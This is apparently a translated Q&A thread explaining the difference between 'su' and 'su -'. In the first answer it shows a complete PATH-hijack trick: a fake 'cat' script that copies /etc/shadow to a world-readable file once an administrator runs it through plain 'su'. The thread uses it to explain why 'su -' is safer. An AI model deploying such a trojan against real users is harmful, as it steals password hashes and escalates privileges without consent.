我不明白为什么su -
优先su
以 root 身份登录。
答案1
su -
切换用户后调用登录 shell。登录 shell 会重置大多数环境变量,提供干净的基础。
su
只需切换用户,提供一个普通的 shell,其环境与旧用户几乎相同。
想象一下,您是一名软件开发人员,拥有对计算机的普通用户访问权限,而您无知的管理员不会为您提供 root 访问权限。让我们(希望)欺骗他。
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
现在,您询问管理员为什么不能cat
在主文件夹中使用虚拟文件,它就是行不通!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
如果您的管理员不是那么聪明或者只是有点懒,他可能会来到您的办公桌前尝试使用他的超级用户权限:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
哇!谢谢超级管理员!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
呵呵。
您可能注意到损坏的$PATH
变量没有重置。如果管理员调用su -
的话,这种情况就不会发生。
答案2
su -
让你完全以root身份登录,而su
让你假装是root。
最明显的例子是,~
如果使用 ,则为 root 的主目录su -
,但如果使用 ,则为您自己的主目录su
。
根据您的系统,这也可能意味着提示、PATH
或历史文件中的差异。
因此,如果您是管理系统的团队的一员,并且您的同事给您一个运行命令,您知道如果你们都使用 ,那么它的工作原理是相同的su -
,但如果你们都使用su
,则可能会因为你们有差异而存在差异不同的外壳配置。
另一方面,如果您想以 root 身份运行命令但使用您自己的配置,那么也许su
更适合您。
另外不要忘记sudo
,它有一个-s
选项来启动以 root 身份运行的 shell。当然,这也有不同的规则,并且它们会根据您使用的发行版而变化。
答案3
主要区别是:
su - username
设置 shell 环境,就好像它是指定用户的干净登录一样,它访问并使用指定的用户环境变量,
su username
只需为指定用户启动一个具有当前环境设置的 shell。
如果未使用su
和指定用户名su -
,则默认使用 root 帐户。
答案4
我使用 su -- 当我作为普通用户位于目录中但想要切换到 root 并在切换后保留在同一目录中时。当您使用 su - 时,它将用户切换为 root,并且还会将您带到 /root,这是根主目录。